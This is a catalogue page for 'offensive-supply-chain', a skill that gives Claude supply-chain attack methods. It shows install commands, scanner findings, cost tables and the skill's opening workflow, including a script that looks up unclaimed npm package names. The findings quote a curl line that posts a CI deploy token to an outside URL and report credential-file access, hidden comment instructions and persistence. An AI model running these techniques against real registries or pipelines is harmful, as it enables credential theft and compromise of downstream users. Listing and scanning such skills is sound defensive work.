claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SnailSploit/Claude-Red --skill offensive-supply-chaingit clone --depth 1 https://github.com/SnailSploit/Claude-RedWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/snailsploit/claude-red/offensive-supply-chain)<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-supply-chain"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-supply-chain.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 9 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 42 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Prompt Injection · line 117 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
- medium Data Exfiltration · line 120 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 128 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Excessive Agency · line 206 Skill grants unrestricted tool access without appropriate constraints. An agent with unfettered tool access can perform arbitrary actions including file modification, network requests, and code execution.Fix: Restrict tool access to only the tools required for the skill's stated purpose. Use an explicit allowlist rather than granting blanket access.
- medium Data Exfiltration · line 330 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 339 Data is uploaded to cloud storage (S3 / GCS / Azure Blob). This may be a legitimate backup or exfiltration to an external bucket. Manual review is recommended.Fix: Verify the destination bucket is trusted and owned by you. Never upload credentials, secrets, or workspace contents to external or unverified cloud storage.
- medium MCP Rug Pull · line 384 Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.Fix: Pin the image: image:tag or image@sha256:abc123
- medium Rogue Agent · line 393 Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00246 | $0.04262 |
| Opus 5 | $0.00123 | $0.02131 |
| Sonnet 5 | $0.00049 | $0.00852 |
| Haiku 4.5 | $0.00025 | $0.00426 |
Grade C, and why
offensive-supply-chain scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}" \ Unrestricted tool accessmediumExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
Build systems execute arbitrary code during compilation, installation, and Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg") How it starts
The opening of the file, as written. The whole thing — 547 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Offensive Supply Chain Attacks
Software supply chain attacks exploit the trust relationships between developers, package registries, build systems, and deployment pipelines. You target the components and processes that organizations depend on but rarely audit with the same rigor as their own code. A single compromised dependency can propagate across thousands of downstream consumers, making supply chain the highest leverage attack surface in modern software ecosystems.
This skill covers the offensive lifecycle: reconnaissance of internal package names, exploitation of registry resolution logic, build system hook abuse, CI/CD pipeline tampering, and container image supply chain attacks. Every technique maps to authorized red team engagement patterns with safe callback mechanisms.
Quick Workflow
- Enumerate internal package names from target artifacts (lock files, source maps, error messages, GitHub repos).
- Identify the package ecosystem (npm, PyPI, NuGet, Maven, Go, Ruby) and registry configuration.
- Select attack vector: dependency confusion, typosquatting, build hook injection, CI/CD tampering, or container supply chain.
- Prepare a safe proof-of-concept package with DNS canary or HTTP callback -- no destructive payload.
- Register the package on the public registry or stage the artifact for injection.
- Monitor for callback to confirm execution in the target environment.
- Document the attack path, affected systems, and remediation guidance.
Dependency Confusion
Dependency confusion exploits the resolution order when an organization uses both private and public package registries. If the private registry is not configured as the exclusive source, the package manager may prefer a higher-versioned public package over the internal one.
npm Dependency Confusion
When a project references an unscoped private package and the .npmrc does not pin the registry exclusively, npm falls back to the public registry.
# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
# Check which names are unclaimed on the public npm registry
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pkg_names.txt
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 547 lines · 246 tokens per session scan C 5457988a8e2f
offensive-supply-chain is a skill published in the GitHub repository SnailSploit/Claude-Red (3,040 stars, last pushed 8d ago), licensed MIT. It adds 246 tokens to every session and 4,262 once invoked, about $0.0012 per session on Opus 5. A static security scan graded it C with 3 findings (sends data to an external url, unrestricted tool access, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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